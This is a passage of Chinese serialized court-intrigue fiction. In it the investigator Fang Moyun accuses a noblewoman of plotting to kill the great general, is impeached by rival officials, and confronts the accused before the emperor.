“而且有一点你要清楚！”元帅伸手搭着正啸的伏低头说道，“你爹年轻之时便随圣上南征北战，战功无数，忠心无二，从无怨言，皇上还是会给你爹积分薄面的！”
正啸有些不解的望向元帅，执礼他们亦看向元帅，他平素绝不是炫耀与圣上交情和自身功绩之人！
元帅趁着酒意笑着说：“爹就是留在关键时候给你用，比方说你若看上谁，不论人愿不愿意，若是圣上下旨赐婚，人还是不敢抗旨的吧，但是娶回家，就只能靠你自己了，那丫头不好招呼。”
正啸瞬间就转身走了，只留下一个无语且冰冷的背影。
“诶，儿子，这事咱爷两真得好好合计合计！”元帅亦笑得满脸褶子的望向他说道，若辰和执礼都畅然而笑。
正啸的背影瞬间就消失在夜里，他回到自己的房中，推开门的那一刻，外面的寒风似乎一同被隔绝在了门外。房内静谧，只有淡淡的烛光跳动着，却撩拨得他心亦波动不已。
他望着外面的夜色，他父帅一向待自己严厉而冷静，可众人皆能看得出他对茉云颇为赏识。再想起圣上，好像也难得的高看她一眼，不然此案圣上断然不可能交给一个连品阶都没有的朝廷革员。这倒让他少许松了口气。
正啸靠到床围，回想着多年朝廷沉浮，边关征战，他其实早已习惯了克制和压抑，习惯了把所有都藏于心底不表露，但此时连自己都骗不了自己的动摇了，隐隐的渴望渐渐淹没了理智，弥漫了全身……
而此刻茉云还在和瑞林还有老马他们四人梳理着案情，时已深夜，寒风似乎都穿透了窗棂，烛火在微风中摇曳，却也照不透这深沉的夜。
瑞林神色凝重眉头紧锁地看向茉云，他的声音压得极低，仿佛害怕这话泄露出去一般：“你当真要如此严办师兄的亲人？那可是他娘的亲妹！”
茉云撑着头眼神中透出一股笑意：“师兄这般小声说话，是怕老马他们听了去？”
瑞林无语的望向茉云，她此时还有心情嬉皮笑脸，只得叹了口气说：“一旦华家柳氏被治罪，柳家肯定会牵连，京城定会掀起轩然大波，还可能动摇支持边关战事的力量，让对手有机可乘，朝局恐怕会因此而发生又一轮翻覆！”
老马他们亦互相看了一眼看向茉云，她却冷然坐在桌旁，眼神坚毅如铁，没有一丝动摇的迹象。
“师兄，法理何曾因亲情而废？”
瑞林沉声提醒道：“方茉云，我不是在跟你玩笑，你也莫用官话打发我，此事非同小可，牵一发而动全身，牵连之广，后果之重，你可想好……”
茉云轻轻一抬手微微撑起头，嘴角扬起一丝冷笑：“对，师兄，我没有想好，我只是押了个朝廷一品诰命夫人来这南华城，准备带她游览一番！”
老马他们看向瑞林那无言以对的表情，顷刻忍俊不禁！
一时间，房间里只剩下烛光微微颤动，瑞林凝视着茉云那冷峻的面容，心中百般滋味翻涌，眼看好不容易朝堂大局将被毁于一旦，自己该如何抉择呢，要去汇报二师兄吗？
而茉云的双眸在黑夜中泛起冷光，小马他们都知道，那便是她最无惧无畏且最疯癫的时刻！
茉云的眼神不经意落到桌上那小药瓶之上，眼中闪过一丝酸楚，奈何他……总要承受这些寻常人一生都难以遭遇的重创。
可当眼神重回卷宗之时，那一瞬间的情感很快被冷静与坚毅覆盖，茉云顷刻间甚至庆幸自己的无情和决绝，她绝不会让情感成为任何要干之事的阻碍。
她也断不能因为要顾虑他这一刻的感受，而任由他日后在前方冲锋陷阵之时，身后皆是泥沼和深远。
他本该一往无前，所向披靡，揽星衔月逐日光！
173.煎熬
翌日清晨，南华的街巷在黎明的微光中渐渐苏醒，圣驾浩浩荡荡地到了城中，皇上威严的銮驾停在了南华的行宫门前，随行的人众多，其中伴君两侧的是关太傅和御史台察院的邓大人，他两都 神情肃穆，隐隐透着一股压抑。
行宫内好似也被沉重的气氛笼罩着，元帅和柳大人都到了行宫等待着皇上的召见。
一片静默中，茉云缓步走进殿中，她手持的尚方宝剑反射着晨曦的光芒，步伐坚定如往常，一脸的风轻云淡，可若辰不知为何倒吸了一口冷气，她总是这般愈癫狂之时愈冷静……
皇上终于宣了众人，他端坐在行宫正殿金座之上，面对众臣亦面色异常沉着。
众人恭敬的行了跪礼，余光看向皇上的神情，真便是龙颜不悦的神情，顿时不禁的警觉了几分。
皇上则目光锐利说道：“方茉云，朕看了你的奏折，牵扯的华府柳氏乃朕亲封的一品诰命夫人，朕绝不会轻信流言，你可有确凿证据？”
殿内一片寂静，众人屏息静听，目光齐聚在茉云身上。
茉云一脸的谦恭的抬头回禀皇上，眼中又透出了狠戾，声音毫不迟疑：“启禀皇上，此案臣已查明，华府柳氏多年来染指南华，且与瑞王爷暗通款曲，密谋已久，更为可恶的是，她是献计密谋杀害大将军的主谋，其意图是在南华趁机除掉他，控制边关大军，以便她与瑞王爷日后之阴谋得逞！”
此言一出，殿内顿时哗然。众臣一时间无法相信自己的耳朵，原本柳大人做的最坏打算，顶多也是华府老家与瑞王爷封地有接壤，故而有些来往牵连，却没想到竟牵扯出如此惊天动地的罪行——主谋！
这简直好似所设想为小虾米，结果天降一个东海龙王般的震撼。顿时众人一片错愕，面面相觑惊疑不定。
御史台的邓大人也瞬间眉头紧皱，他也是昨日才赶到圣驾旁，并没有看到茉云的奏折，他顷刻深吸了一口气，似乎也在消化着这意外的震惊。
连皇上的脸色也瞬间变得阴沉，手指紧紧握住了扶手，只有一直在皇上身边的关太傅，依旧面容镇定目光深沉地望着茉云……
皇上沉声问道：“你所言可有证据？”
“皇上，她纯属一派胡言！”柳大人再也无法隐忍，跪下控诉道。
关太傅此时才微微蹙眉望向柳大人，每每牵扯到其家人之时，便是他最不能隐忍之时。
茉云神情不改，跪下说道：“皇上，臣敢以项上人头作保，所有案件皆臣亲自查实，绝无虚言！若有一丝偏颇，臣愿承担一切后果。不知道柳大人是否也愿以性命作保！”
“大胆！”
可茉云以决然的姿态立在大殿中，显得尤为刺目，仿若刀锋般凌厉，圣上此行随驾的朝臣们不由自主地心中开始纷纷猜测，这背后是什么更深的阴谋，谁支持她此时站出来倒戈柳家。
而支持卢家军的势力心中更是波涛汹涌，此事对朝局的冲击已不可避免，他们万万莫想到，掀起巨浪的是方茉云。
皇上面色凝重，缓缓说道：“既然如此，就有劳邓大人亲自查实，给朕和朝廷一个交代。”
圣上说完目光落在了御史台邓大人身上，语气中透出一丝震慑八方的威严。
“臣领旨！”邓大人躬身领命，茉云一言不发，冷静地起身，准备退出殿外。
而正啸站在一旁，听着茉云铿锵有力的禀报，脑子“嗡的”一下，当茉云说出——密谋杀害大将军的主谋时，他心猛地一震好似落入深潭。
若辰亦是怔在原地，茉云此举等于当着众人的面，毫无保留地将正啸亲娘的娘家——刑部尚书的柳家，直接推向了深渊。他的目光一下子定住，错愕地看向站在朝堂中央的她，仿佛不相信这话是从她口中说出的。
茉云的神情依旧冷峻，丝毫不为任何人动摇，她退下转身之时挺直的身板如刀锋般笔直，面对众人那交织的愤怒，失望，震撼和错愕，她神情从容的大步走出殿堂。但她的余光看见了，正啸那握拳的手，紧得微微发颤……
任茉云表面何其风轻云淡，可内心却波涛暗涌，但她清楚更哪怕是决裂也不能退让！
华家柳氏心藏了这世间最狠的恶，她若不伏法，卢正啸将永无宁日。而柳家倾尽半生护他，现在已经在不自知的限制他展翅高飞了，卢正啸这种人，又怎么可能做得到亲手斩断这一切，亲情本是对他最深的羁绊。
关太傅看向茉云的背影也轻轻叹息，人总是当局者迷，他们谁又没有读过史书，若世家联合，在外手握军权，执掌大军，在内立于朝堂，翻云覆雨，那圣心何安？特别是柳家已经尊贵到了如此高度，人也到了刚愎自用，把持刑部自傲而不自知的地步！
圣上之为人，绝不可能轻易的对昔日功臣下手，落下一个狡兔死走狗烹的千古骂名，更不可能在大战之前无故处置他要依仗的大将军至亲，此时这个方茉云居然贡献了这个机会，可这孩子可曾想过，此计她可能也会献祭了她自己！
可是关太傅看像茉云那挺直的腰杆，坚毅的步伐，他突然又意识到，她也许从一开始就是的知道的……
翌日，邓大人马上带领御史台察院一众官员进入此案，邓大人的左膀右臂——余震，也随着邓大人来了南华，他见到茉云之时便又是见到妖魔怪兽的神情。
茉云嬉皮笑脸的迎上前喊道：“余兄，上次南铸一别，许久未见，兄还是这般健朗！”
“又发病了！”余震没好气的指着茉云骂道。
“何时好过？”茉云一脸嬉皮笑脸的望向余震说道，余震身边之人皆忍着笑。
而此时柳大人身边的诸多官员，都随着七叔来府衙见邓大人，他们见到茉云早已按捺不住怒火，脸色铁青，冲着茉云破口大骂。
“你这忘恩负义的贱人！”声音尖锐愤怒，顷刻撕裂了府衙的宁静。
“大将军和刑部上下待你不薄，提拔你至此，你竟然这样恩将仇报！”
“狼心狗肺！白眼狼！大将军当年救过你的命，如今却换来这般背刺！”
“自古贱人便是汝这般！岂还有脸站于此？！”
众人越骂越激动，声音如洪钟般回荡在坪里，言辞尖刻，充满了怨恨与愤懑。每一句话都好似恨不能化成利刃，刺穿茉云的心。
茉云则站在原地，挺拔如松面无波澜，既没有愤怒，也没有动摇，反而嘴角上扬含着一丝笑意。
七叔见其笑，更觉其张狂，顿时怒目圆睁，面孔扭曲，似乎恨不得立刻将她撕碎。
余震微微皱眉本欲上前告诫众人，这儿是御史台察院办案之所，不是街市！
茉云却率先的笑着评价道：“你们这骂人水平不行，还不如南华那群恶损的老太太！”
瑞林站在茉云身边，无语的望向茉云只能长叹一口气。
“此案证据确凿。尔等骂我也好，恨我也罢，事到至此，法不容情，该办的，终究要办。若有怨，尽管来。”
话音一落，全场陷入了一片沉默。茉云转身离去背影依旧坚定，这些责骂和纠葛在她心中素来留不下半点痕迹。她昂首阔步而出，看见若辰双眉微蹙的走来。
“为何？”
茉云抬目望向若辰，眼神突然闪过一丝狠戾说道：“怎的卢正啸的亲人干了恶事，还必须活，而我师兄可白白的死！”
“可如今大局，岂能因一人之生死而颠覆？”何友忿然看向茉云说道。
“少拿大局来唬我，那是那群恶人和傻子用来唬你们的！”茉云顷刻指着若辰和何友骂道，神情言辞之严厉，让若辰都怔了半刻，“管好你自己的事，少瞎掺和！”
茉云说完就忿然走了，瑞林有几分尴尬的追着茉云而去。
他追了上去小声说道：“你为何不告诉师兄，我们也是为了师兄好！”
“师兄，你以后还要在朝中混的，去将事情始末告知卢正啸吧！”茉云坦然地看向瑞林，眼神诚恳的说道。
瑞林深吸一口气望向茉云：“难道我就是这般背信弃义之徒！”
“不是，是即便你告知卢正啸，他也无法奈我何，可是为你日后留一线，也挺好的！”茉云笑了伸手拍拍瑞林的肩膀正要走。
“其实你将你所猜想之事，尽数告知二师兄，他们未必不能理解，若那华家柳氏真是那般恶毒之妇人，卢家和师兄定然也不会包庇！”
茉云懒理他走出府衙，整理着心中纷杂的思绪，而眼前却突然出现了大将军的身影。
正啸面色凝重，正带着执礼，千山走入府衙，七叔立刻转头望向正啸行礼道：“少主！”
正啸目光如炬的微微点了下头，却似乎全然未曾注意到茉云的存在般，与她擦肩而过，犹如陌路之人，仿佛这一刻所有的过往在随风而逝。
茉云才顷刻间意识到，原来自己早已习惯，每次和她擦身而过，他都会习惯跟自己交换一个眼神，好像告诉自己他来了，可他今日沉默地走过，留下的只是那股冷风……
她深吸一口气离开了府衙，走下台阶她又嘴角轻轻一笑，是成长吗？从前那个半点委屈都不能受，必须还回去的方茉云，不知何时起已经习惯了背负这些不解与怒火……
当夜幕沉寂，玉家别苑里却依然乱成了一团，柳大人几近气急败坏地在厅堂内踱步，眼中满是焦虑与愤怒。他猛地停下脚步，目光似火般灼灼望向正啸。
“正啸，明日你必须去圣上面前，以死相保你三姨！
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那可是你的血脉亲人，若她出事，你想过没？朝中那些支持你的大臣，都是想依仗你家族力量，若现在柳家尚不能自保，我等在朝中何以立足，这必然会导致整个家族随之覆灭！”
正啸一言不发静静坐在那里，身影笔直面容冷峻，眼中只透出一抹淡漠。
柳大人见他无动于衷，心中的焦急越发显露：“舅说的话，你明白吗？现在大战在即，皇上依仗你打战，他离不开你镇守边关，也少不了卢家在战场上的威望！只要你向皇上以死相保，圣上一定会妥协，只要你去求他，一切都还来得及！”
柳大人的声音渐渐提高，言辞中充满了对家族的执念。然而，正啸面对如此激动的言辞，他没有反驳，也没有表态，只是默默承受着。
元帅锁紧的双眉望向柳大人说道：“中良，此案还只是一个说辞，邓大人还未查明，让啸儿去圣上面前如何以死相保？”
“姐夫，三妹怎么可能杀啸儿！她还以性命曾为啸儿挡过暗箭！这都是诬告，方茉云不知道是被谁收买！”柳大人的呼吸都因激动而加重，当他见正啸如此沉默，更是怒火中烧：“你三姨曾经救过你的性命，你打算就这么看着吗？看着她坠入深渊，看着家族一败涂地！”
正啸深吸一口气微微闭上眼，随后又缓缓睁开，目光疲惫的说：“舅，若三姨无罪，我定然不会让他有事！”
柳大人才松了一口气坐下说道：“我们无论如何都不能让你三姨事！”
最终还是元帅起身说夜深先休息，明日再让执礼等人去府衙打探打探消息，看案情进展如何，柳大人眼中透出了阴冷，这一夜他也必须做些什么，才能力挽狂澜……
夜色如漆，凉风微拂，别苑中已然是一片寂静。正啸独自走在回房的路上，长廊的青石板在月光下映出微弱的光。他步伐缓慢，心中翻涌着根本无法平息的烦闷，仿佛胸中压着一块重石。
他忽然停下了脚步，坐到廊旁围栏之上，靠着廊中圆柱，抬头望向星河，任寒风肆虐，却吹不走他心中的压抑。
眼前的星河如此浩瀚，似乎能包容世间万物，可正啸的心中却充满了沉重的负担与难以言表的孤独。卢家的使命，边关的大业，眼前的困境、长辈的期许、朝廷的风云变幻，这一切如同潮水般向他涌来，他闭上了眼睛……
“少主？”
正啸睁开了眼睛看见此时才回的万莫，一脸的关切的望向自己。
千山没好气的数落道：“你怎得此时才回？”
“茉云让我去办点事！”万莫解释道，然后从自己兜里拿出了他最珍爱的杏仁果脯捧给正啸，只因他察觉正啸心情不佳。
“你明日再也不用去了！”千山深吸一口气说道。
“嗯，茉云亦是这么说的！”万莫坦然地说道。
“她还跟你说了什么？”正啸伸手拿过一块果脯塞到了嘴里问道。
“她说让我日后都跟在少主身边！”
正啸双眉微蹙却没有再说什么，眼神都变得空洞了几许。
万莫却继续边吃着杏脯边说:“就再也不会有人欺负我了！”
正啸忽然望向万莫说：“她问了你什么吗？”
“问了，好多……她问我晚上老马做的炸酱面好不好吃，前门口胡同的桂花糕是不是味道如何……”万莫努力的回忆道。
“她问了你什么关于我三姨的事吗？”
万莫想了良久，回忆起了一点，于是坦诚的点点头。
“她问你什么？”
“茉云问我，少主三姨和少主感情好吗？我说好吧，她说为什么是好吧？我说也吵过架，她问我，何事吵架，我说少主不在的时候，她有点凶，会让人处罚我，打我，我生病了她不给我吃药，少主有一次就很生气跟她吵架过，但是后来原来是因为她不知道我病得很重！”
“万莫，你怎么这般胡说八道！你知道那方茉云素来护着你，你这不是平添矛盾？”千山顿时愤然吼道，抬手就是一下。
正啸瞬间抬手就挡住了千山的手，望向万莫深吸了一口气说：“那她是怎么回答你的！”
“她说恶人一定也必须有恶报！”
正啸眉头顷刻间深深锁起，眼神好似被困在无尽的深渊中，却只敢隐隐的露出一丝挣扎与苦涩，他大抵知道了茉云定是鱼死网破也不会放弃，而她三姨怕是没有前路了，而茉云亦可能没有了……
大战在即，他其实没有办法去护任何人，若真如他大舅所言，自己不顾大局的以死相保，只会引起圣上震怒！
他只能缓缓闭上眼，轻轻一叹，看似平静，内心却如一座岌岌可危的山峦，矗立云霄，经历了无数风霜洗礼，在此刻，终于几近崩塌……
174.死地
次日雾气茫茫，薄光在慢慢穿透，茉云正在府衙向御史台察院邓大人直接上报案情，办案官员们边细细记载，边唯恐遗漏的对比着卷宗，任谁都知道此案事关重大，生怕有一丝纰漏。
邓大人身边的余震余大人眉头微蹙望向茉云，众人凝神专注惧怕的都是案件背后的权力交锋，暗潮涌动，只有方茉云在风轻云淡的细细研判每一条证据的来龙去脉，讲述着案情的关键证据……
然而，果然尚未等她讲述完，一名大内侍卫便急匆匆踏入府衙，脸上皆是严峻却透着匆忙之色。
“圣上口谕！方茉云接旨！”侍卫高声说道，瞬间打断了堂内的肃静，所有人不由得望向他，然后立起起身跪下，茉云也随即起身跪下接旨。
“圣上有旨，传方茉云即刻前往行宫，不得有误。”
茉云一脸不动声色的接了旨意，可众人皆心中隐隐意识到此事非比寻常。茉云随即放下手中卷宗，一脸淡然的随着侍卫而去。
余震站在邓大人身旁，深深叹了一口气，望向茉云那依旧挺拔的背影，此去定是众人疯狂的抓住了她的把柄，奏疏纷至沓来，欲将她一举拉下。
御史台邓大人亦抬眼望去，眼角却闪过一丝敬佩，方茉云就是那背影的脊梁都能透出无畏的人……
茉云踏入行宫，殿内气氛肃穆而紧张。她抬眼望去，只见皇上端坐在殿上，神情威严目光冷峻，而他的右侧则站着柳大人和诸臣，脸上带着隐隐的阴寒与冷笑。左侧站着关太傅、若辰等朝中重臣，神情各异，有的带着沉稳，有的则闪烁不定，似在观望着这场即将展开的审问。唯有关若辰神情中透出深深地担忧……
茉云沉稳地上前行礼，心中却早已明了，柳大人此刻聚众站在皇上身边，显然是将她告了了，要她好看。
“方茉云！”圣上的声音深沉而冷冽，带着一丝无法抗拒的威仪，“有人上奏，直指你这些年的罪行，罄竹难书，你可知罪？”
茉云一脸的处之泰然也并不辩解，只是沉着地拱手道：“请圣上明察。”
话音未落，便听到一声冷哼，柳大人身旁之人上前一步，冷冷说：“方茉云，如此说来，倒显得众臣都是诬陷于你了，你是想说自己无罪？！”
茉云依旧面色不改，冷静地直视柳大人和他身边之人，眼中透出一丝冷意，如此昭然若揭的集结这么多人来弹劾自己，柳大人当真是狗急跳墙了……
然而，这时大门外传来步伐声，几道身影跨步而入，竟是元帅和正啸。殿内气氛更加凝重，众人不由纷纷侧目。
元帅和正啸上前行礼后，皇上抬手让他们平身，元帅起身后，他皱眉望去，目光锐利地扫过在场之人，特别在柳大人身上多停留了一瞬，显然对这场审问有些义愤。
正啸则立于一旁，神情凝重一言不发，目光复杂地看了茉云一眼之后，眼神和若辰交汇，若辰眉宇间透着一丝忧虑，似乎在告诉她情况对茉云极为不利……
皇上微微抬目光，冷冷扫过一众官员，缓缓开口：“既然人已到齐，今日此事，朕要审个明白。”
他的声音沉稳却透着威严，让殿内的每一个人都不敢轻易发声。
茉云站在大殿中央，感受到无数目光投射在自己身上，既有审视，也有质疑，更多的是愤怒。然而，她依旧挺直了脊背神色镇定，对于自己来说，一个人无退路之时便是最明朗的时刻，向前不顾一切即可！
“将这份弹劾她的奏折读给众人听！”圣上抬手将奏折丢出说道。
“是！”
“方茉云冒其兄名，窃居县尉之职，彼时其兄入监，家中乏嗣，其冒名顶替，欺君罔上，实乃大逆不道，欺君之罪。此等行径，非一时之失，乃心性奸诈，素来为之。其在中州为官之时，行事乖张任性妄为，行止轻佻德行有亏，至百姓愤恨。
后调任边城，更是恶性毕露，令当地刺史心智崩溃，致使地方百姓苦不堪言，视人命如草芥，滥用刑法，凡有所疑者，动辄刑讯逼供，罔顾律法，挑起边关战事，致边城生灵涂炭。
且更为不耻者，方茉云觊觎大将军之威名，心怀妄念，屡次图谋亲近，意图以色相勾引，然其行诡计未遂，恼羞成怒，遂怀恨于心。其后屡屡暗中陷害大将军左右之人，阴险毒辣居心叵测。此等行径，实乃阴暗卑贱，贻害无穷。
更甚者，其与敌国大将交往甚密，暗通款曲，往来频繁，所图者非小，恐其通敌卖国欲谋不轨。忠奸未辨，国法难容。臣以为，此女心术不正，险恶之甚，若不早加惩治，恐遗患无穷。国法昭昭，岂能容此等奸诈之徒潜伏朝中，祸乱社稷？
伏请圣上明察秋毫，彻查此女罪行重加惩处，以正纲纪，安定国本，保我朝廷长治久安。”
奏折念毕，大殿内一片沉寂，气氛如积聚的乌云，压抑沉重。
正啸紧紧攥着拳紧咬牙关，目光透着难以遏制的愤怒，他只能极力控制自己的情绪，可眼中依旧透出难以置信和怒意。他舅从头至尾都知晓茉云这些年是如何为了卢家军和他九死一生，自己从未想过，他们竟胆如此颠倒黑白的指控她，那些字句犹如利刃，刺向他的心。
元帅站在一旁，更是面色铁青，眼中露出了好久未露出的锋芒。岁月沉淀，他本已经泰山崩于前，面不改色，但此刻，愤怒已在他眼中涌动，显露无疑。他们居然以如此污蔑之词诋毁于茉云，要知道这孩子一路走来多不易，就是时至今日，肩上之伤定然都还未痊愈。
若辰的面容亦难得的布满怒气，双眉紧锁眼中燃起怒火。他微微上前一步，似乎想要开口反驳，却因关太傅微微拂袖做了一个靠后的手势。他只得忍住，可是内心却早已掀起巨浪，这等扭曲的卑劣之言，他们都能说得出口，这便是朝堂令他心生厌恶之根源。
柳大人则截然不同，双手垂于身侧，神情平静目光中透出一抹阴森。他的唇角微微扬起一丝，眼神中全是无情的淡漠与自信，他冷眼旁观着众人的愤怒，自己是朝堂争斗了几十年的人，他心中笃定茉云的结局必落败而不容于世，这也是她背叛的下场。
这一刻，大殿之上，众人神情各异，有愤怒，有冷漠，有震惊，唯有站在殿中央的茉云和高坐殿堂的圣上两人最淡然。
茉云目光平静如水，神色毫无波动，似乎那些奏折中的指控与她无关。
圣上语无波澜的说：“方茉云，你可认罪？”
“启禀皇上，臣认罪！”
殿内本沉寂如死水，顷刻平地一声雷，众人无不骇然，不可置信地望着茉云，那些指控字字句句诛心，
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条条都能要她的命，她竟毫不犹豫地认罪？
正啸猛地一震，眼中燃烧的愤怒骤然凝固，化为难掩的震惊与痛楚。他的拳头握得更紧，骨节发白，目光望向茉云。元帅和若辰也怔在原地，亦不可思议望向茉云。
柳大人此刻亦是震撼的，他没料到茉云会顷刻顺从认罪，其他官员更是窃窃私语，整个大殿都如波涛般层层叠起。
圣上抬目望向茉云，她依旧神情无波无澜，立在殿中，虽然认罪却没有丝毫卑屈，仿佛这一刻，她放下了所有的辩解与挣扎，以更无惧的姿态面对这扑面而来的暴风骤雨。
茉云微微抬头，朗声对圣上道：“臣女知罪，愿皇上允准待臣查清此案，再让臣与案犯一并伏法。”
她的话字字铿锵，震慑全场，透出一股铁血的决然。
然而殿内的柳大人瞬间冷静下来，望向几位朝臣，他们马上读懂了眼神，有人出列声音冷峻的说：“圣上，方茉云既已认罪当即刻伏法，试问德行不端，早已失去清名之人，如何还有资格成为钦差主持查案？若令其继续督查，岂不令朝纲蒙羞？”
茉云不慌不忙地扫视众臣，目光直视那些弹劾的官员，他们就是要自己今日死，她淡然一笑，那便如了他们的愿，反问道：“任命何人为钦差何时变成了诸位的权利了？诸位如此坚决反对，非要我此刻死，莫非真正缘由是并不希望此案被彻查到底？臣曾入刑部学习，也听到过一些闲言碎语，诸位虽然都是得尚书大人一手提拔，可莫将忠君爱国忘了！”
她的话犹如投下一颗石子，顿时激起千层浪。官员面面相觑，有人低头躲避她的目光，也有人紧皱眉头，神情愠怒。她一个本没有一官半职之人，囫囵吞枣混了个钦差，居然当着朝堂皇上和众臣的面，说得这般露骨和张狂，使得殿内气氛陡然凝重。
圣上眼神微沉，视线在茉云与众臣之间扫过。柳大人此时眼中才闪过一丝得意，方茉云在圣上面前亦是如此张狂，以为她往日里横冲直撞那一套在朝堂也可以行得通，不过是引火自焚罢了……
正啸此时握紧了拳头有些隐忍不住，皇上怎能容得下她这般诋毁他的朝堂……
若辰亦咬紧了牙关，她此言一出乃大忌，她居然敢去击碎皇上的体面，他此刻该如何帮她呢，可是他焦灼惶恐的脑海里翻腾不出任何办法。就连关太傅的眼神中都闪过一丝诧异，这个机灵的孩子，怎么的突然这般莽撞了？
殿内顿时陷入一片沉默，只剩茉云挺拔的身影，宛如青松般傲立，面对朝堂的质疑与压力。
良久后，她深深吸了口气，她余光既能读懂柳大人的得意，亦能读懂正啸和若辰的惊慌失措。
顷刻间往事在目，也许今日便是自己的归期，自中州起，他两好似从未怀疑过自己，总坚信自己会走一条正道，奈何……敌人如此强大，都说置之死地而后生，可今日自己只能置之死地不后生，我要拉着敌人一块玩完！
她最终抬目望了正啸一眼，眼中的千言万语只能化作唇角一抹坦然的微笑。
这短暂而隐晦的一眼，几乎没有人察觉，只有正啸一人看得清楚，这抹笑意如轻烟般顷刻散去，却如一把锋利的尖刀直刺正啸的心，她是在做无声地道别，最后告诉自己：自此各承天命，天涯陌路……
175.倾覆
茉云深吸一口气收回目光，顷刻间眼神恢复到只带着一丝狠戾的冷静。既然自己身处悬崖边缘，再无退路，临走之前，自己定要把该干的事干了，该惩戒的人办了！
她缓缓抬头，直视皇上，眼神中透出一股毅然的决绝。
“皇上！”茉云跪地忽然开口，声音响亮而坚定，丝毫不掩其锋芒，“臣女知罪，罪该万死，今日也甘愿伏法。但在赴死之前，臣女斗胆请求，可否在陛下面前，当堂审讯华家柳氏！”
话音落下，大殿内一片沉寂，众人不由得屏息，所有目光都聚在她身上，她居然不求开恩，亦不求恕罪，死到临头还咬着柳家不放，这是多大的仇恨……柳大人更是咬紧牙关瞪向茉云。
圣上缓缓抬目望向茉云，她眼神此刻闪烁着的无畏和无谓，还有一丝不灭的执着，仿佛她的信念尚未完结，即便顷刻面对死亡，也要将此案一查到底。
“为何？”
“启禀皇上，臣虽冒名顶替，也是县尉出生，所办之案，臣确实处事狠辣，从未放过任何一个有罪之人，但桩桩件件皆无愧于天地，圣上和朝廷律法，这一案臣死前也要审个明白，望圣上成全！”茉云无惧而坦然的说，“而且臣怕臣死之后，无人再审此案！”
关太傅深吸一口气，望向她那在大殿之上显得格外孤独，却又无比坚毅的身躯，临死最后一刻她只求办华府柳氏，关太傅心里明白，圣上也能懂她此言的意思，若方茉云还未提审华府柳氏，自己就被严办，日后还有谁能办？谁敢办？
“皇上，此奸佞之人当真是罪该万死，垂死之际还在说这些毫无实据的诛心之论！”柳大人忿然上前一步，向皇上行礼恭敬地说。
茉云却眼中闪过一丝冷笑，堂堂尚书大人要急到什么份上，才会亲自下场撕自己了。
皇上冷冷的忘了柳大人一眼，这一瞥的眼神震得柳大人微微愣了半刻。
茉云则淡然而冷静的笑了说：“启禀皇上，柳大人也许误会了臣的意思，臣是怕臣临死之前，无故污了一位朝廷一品诰命夫人的名声，皇上圣明独照，臣岂敢妄断。”
皇上抬手威严的望向殿外：“来人，传华家柳氏！”
柳大人吃惊的望向圣上那决然的表情，众人皆心中又掀起了巨浪，这殿内的瞬息万变让他们摸不着风该往哪儿吹……
圣上顷刻间却温和了几许，望向柳大人安抚道：“她倒是此言不假，这也是华夫人自证清白的机会，怎可让她无辜背负污名。”
“是！”柳大人只能伏低头，咬牙忍着。
大殿之上，气氛肃穆得透出一股压抑的威严。殿门外，一阵轻柔的脚步声传来，众人循声望去，只见华府柳氏——那位享誉朝堂的一品诰命夫人缓步入殿。
她一身素雅的绣裙衣饰精致，却尽显尊贵之气，头上珠翠点缀着高耸的发髻，肌肤如雪，周身散发一丝自傲的气势，没有半分内心的不安。
大殿众臣不自觉的注目到她进殿的身影之上，有人低声议论，有人皱眉思索，更多人则在冷眼旁观。
而柳氏虽已年过半百，仍气度犹存，眼神柔和而坚定，眸中带着淡淡的委屈，好似自己完全不知罪为何来，还未言语就含着一股无声的辩白。
当她在殿中站定，抬眼望向高座之上的皇上，端庄大方上前屈身行礼。皇上抬手免了她的礼，然后看了茉云一眼。
“华夫人！”茉云缓步上前，依旧立于大殿中央，目光锐利的望向这位尊贵的诰命夫人。
华夫人一脸冷色眼，中没有任何波动的俯瞰了茉云一眼，似乎这等卑贱之人都不值得她正眼一见。
“那南华城中女子信奉多年的女德规言，出自您手吧？您多年染指南华，设立如此苛刻的女德规条，强加于民，束缚南华数以千计的女子几十年，您究竟意欲何为？”
华夫人一脸的平静的淡然回道：“本夫人所书女德，皆为教化天下女子守德守礼，有何不妥？至于南华，不过是因当地风俗所困，断章取义处之偏颇，而我并无私心。”
“无私心？”茉云冷笑一声，眼神愈发凌厉，“那据查证，夫人不仅与南华暗通声气，还私下与瑞王府暗通款曲，意图祸乱朝局？”
华夫人眼中闪过一丝不易察觉的冷意，但依旧维持着端庄的神情，轻轻叹气道：“瑞王爷身份尊贵，封地与华家封地接壤，与之往来无非是亲族邻里之谊，如此便苛责于华家，是否待功臣家眷太过苛刻了？”
众人不禁深吸一口气，这便是朝中一品夫人的气度，人控诉她谋反，她都能如此镇定自若而秉持有礼。
“苛刻？”茉云步步逼近，“瑞王爷身边之人招供，此次密谋杀害大将军之事，是由你一手策划！”
“此乃欲加之罪，简直一派胡言，我为何要害正啸，他是我亲外甥！”
茉云顷刻目光炯炯直视华夫人，继续道：“可当年林宥汐之事，朝中没有几人知晓，只有卢正啸的至亲知道，你心生毒计，设法以此引大将军赴南华束手就擒！待大将军一旦除去，瑞王便可趁机控制边关大军，掌控全局。”
华夫人微微挑眉，眼中故意露出一丝错愕，继而冷笑一声，似乎不屑于回应。
茉云注视着她，声音冷峻的逼问道：“夫人素来恪守尊贵之姿，端庄从容，难道所谓的从容？就是如今证据确凿之时，还要死不认？”
华夫人眼中全是冷漠地说道：“此乃子虚乌有，汝不过是凭空指责罢了，你可招瑞王爷上堂与我对质。”
茉云冷吸一口气，她心中明了，瑞王爷已在牢中莫名其妙的自裁谢罪了，哪怕天下人皆不知，这位华夫人肯定知晓。而且自己也只剩下今日这殿上之时了，华夫人亦是知道的。华夫人必不是一般人，她只要咬死无罪硬撑下去，那结局便是自己死，而华府继续她的荣华富贵。
殿内众臣默然，眼见华夫人的倔强□□，众臣谁人不知，这案件背后牵连之广和所涉之深……方茉云此举简直就如螳臂当车。
茉云却顷刻冷然的笑了，她抬起头笑容中透出了狠戾和疯癫，如猛兽最后一搏的神情，让众人视之皆毛骨悚然。
“华夫人！那女德书上赫然写着，女子生于闺中，当以嫡庶为尊，嫡女出生高贵，必承门风，担门庭之重。庶女当知谦卑恭顺，以免乱尊卑之序。凡女子一生，皆以守礼为本，不可僭越！那……夫人的娘家柳家也是这般认为吗？”
茉云眼神透出寒戾的光看向华夫人华夫人冷冷的瞥了茉云一眼，并没有言语。
“夫人亲姐名为柳玉鉴，而夫人闺名为柳初弦，玉鉴和初弦皆为月，臣浅薄……可玉鉴应为圆月，初弦乃新月，难道夫人的娘家以新月为尊吗？可它不如满月圆满啊，夫人才是嫡出啊！”
